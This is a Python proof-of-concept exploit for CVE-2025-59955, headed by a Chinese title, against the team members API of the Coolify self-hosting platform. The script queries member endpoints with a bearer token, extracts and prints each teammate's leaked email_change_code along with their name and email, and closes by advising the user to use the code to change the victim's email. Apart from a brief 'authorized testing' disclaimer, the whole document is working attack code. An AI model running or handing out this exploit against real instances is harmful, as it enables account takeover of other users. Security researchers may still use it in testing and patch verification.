CVE-2025-59955 Coolify团队成员API信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-59955 PoC - Coolify email_change_code Information Disclosure Note: This is for educational and authorized testing purposes only. """ import requests import json import sys # Configuration TARGET_URL = "https://your-coolify-instance.com" # Replace with your actual authentication token (JWT) AUTH_TOKEN = "your-jwt-token-here" # Replace with the target team_id or use 'current' TEAM_ID = "current" def exploit(): """Exploit the information disclosure vulnerability""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Target endpoints that leak email_change_code endpoints = [ f"/api/v1/teams/{TEAM_ID}/members", "/api/v1/teams/current/members" ] print("[*] CVE-2025-59955 - Coolify Information Disclosure") print(f"[*] Target: {TARGET_URL}") print() for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" print(f"[*] Requesting: {endpoint}") try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Received response from {endpoint}") print(f"[+] Status Code: {response.status_code}") # Extract email_change_code from response if isinstance(data, list): for member in data: if 'email_change_code' in member: print(f"[!] LEAKED: email_change_code = {member['email_change_code']}") print(f"[!] For user: {member.get('name', 'Unknown')} ({member.get('email', 'Unknown')})") elif isinstance(data, dict) and 'data' in data: for member in data['data']: if 'email_change_code' in member: print(f"[!] LEAKED: email_change_code = {member['email_change_code']}") print(f"[!] For user: {member.get('name', 'Unknown')} ({member.get('email', 'Unknown')})") # Show full response for analysis print(f"[+] Full response preview:") print(json.dumps(data, indent=2)[:500]) print() elif response.status_code == 401: print(f"[-] Authentication failed (401)") elif response.status_code == 403: print(f"[-] Access denied (403)") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") print("\n[*] Note: Use obtained email_change_code to change victim's email") print("[*] This PoC is for authorized security testing only.") if __name__ == "__main__": exploit()